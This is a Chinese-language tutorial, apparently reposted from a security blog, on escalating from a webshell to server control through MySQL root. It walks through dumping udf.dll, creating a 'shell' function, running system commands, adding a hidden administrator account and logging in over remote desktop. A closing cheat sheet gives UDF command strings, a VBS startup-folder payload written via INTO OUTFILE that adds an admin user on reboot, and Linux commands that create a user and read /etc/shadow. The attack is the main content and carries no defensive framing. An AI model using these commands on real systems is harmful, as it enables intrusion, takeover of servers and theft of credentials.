龙空技术网

Mysql数据库提权

小兵搞安全 268

前言:

眼前小伙伴们对“mysql提权服务器”可能比较关怀,姐妹们都需要知道一些“mysql提权服务器”的相关内容。那么小编在网上网罗了一些对于“mysql提权服务器””的相关资讯,希望大家能喜欢,咱们快快来了解一下吧!

Mysql数据库是目前用得最多的流行数据库之一,其流行架构为php+mysql+apache,支持Linux和Windows操作系统,在Web渗透过程中,通过Webshell有可能获得Mysql的安装目录,通过下载Mysql数据库中的user.myd表,能够方便的破解root用户的密码。Root用户的密码还可能从网页脚本文件中获得,数据库连接直接使用root用户。在获得root密码后,通过到处udf.dll函数,在条件合适的情况下,可以获得服务器权限,以下面的一个实例来介绍如何通过mysql的root用户来提权。

1.设置Mysql提权脚本文件

将Mysql提权脚本文件上传到服务器上,运行后,需要对IP地址、UID、passwod、db进行配置,如图1所示,IP地址一般可以设置为localhost、127.0.0.1以及真实IP地址,uid默认为root,其它具有root用户权限的用户名称也可以,pwd为具有root权限用户的密码,db默认选择mysql,单击提交查询内容进行连接测试。

图1 设置Mysql提交脚本文件

2.进行连接测试

连接成功后,会给出相应的提示信息,如图2所示,给出用户,数据库,数据目录(datadir),基本目录(basedir),版本,插件路径,mysql函数等信息。

图2连接测试

3.创建“shell”函数

单击“Dump UDF” 将UDF.DLL文件导出到默认的插件目录下,然后再运行“Create Function”将创建“shell”函数。如图3所示,如果前面已经创建过shell函数,则会提示系统中已经存在“shell”函数 。

图3创建“shell”函数

4.查看用户

在查询窗口中输入“select shell('cmd','net user')”查看系统所有的用户,如图4所示,可以正常查看系统的所有用户信息。

图4 查看用户

创建具有管理员权限的用户

分别在查询中输入脚本“select shell('cmd','net user temp temp123456')”、“select shell('cmd','net localgroup administrators temp /add ')”并执行该查询命令,如果执行成功,则表示在系统中添加“temp”用户,密码为“temp123456”,同时将该用户添加到管理员组中,使其具备管理员权限,执行成功后如图5,图6所示。

图5 添加temp用户

图6将用户temp添加到管理员组

6.提权成功

在SQL查询中输入“select shell('cmd','net localgroup administrators')”命令查看刚才添加到用户是否真的添加成功,如图7所示,查询结果表明已经将temp用户添加到管理员组中。

图7查看管理员用户

目前对于一些网站来说,一般都会提供远程终端服务,只要用户添加成功,则可以直接登录该服务器,如图8所示,输入用户名和密码,成功进入该服务器,至此通过mysql的root用户成功提权。

图8成功进入服务器

小结

通过本案例中的方法可以快速的将webshell权限提升到服务器权限,当然还有其它的一些方法通过mysql提权,下面对经常用到的一些有关mysql的提权命令和方法进行总结。

(1)udf提权常用的一些命令

create function cmdshell returns string soname 'udf.dll'

select cmdshell('net user antian365 123!@#abcABC /add');

select cmdshell('net localgroup administrators antian365 /add');

select cmdshell('net localgroup administrators ');

select cmdshell('ipconfig /all');

select cmdshell('net user');

select cmdshell('regedit /s d:\wwwroot\3389.reg');

drop function cmdshell;

select cmdshell('netstat -an');

(2) VBS启动项提权

先通过webshell连接数据库,通过建立表a,将VBS脚本写入表里,然后导入启动项,该脚本仅仅对中文版本的有效,如果是使用其他语言版本操作系统,仅仅需要对“C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs”这个进行相应更改即可。在vbs脚本后面有个“0”,表示不弹出CMD窗口,以安静模式运行。该方法是在通过udf提权失败的情况下,将vbs插入到启动中,待系统重启后将自动添加一个用户。

create table a (cmd text);

insert into a values ("set wshshell=createobject (""wscript.shell"") " );

insert into a values ("a=wshshell.run (""cmd.exe /c net user antian 123!@#$% /add"",0) " );

insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators antian /add"",0) " );

select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

(3)Linux下的mysql提权

mysql -h localhost -uroot -p

system useradd hacker

system passwd hacker

system tail -l /etc/passwd

system tail -l /etc/shadow

标签: #mysql提权服务器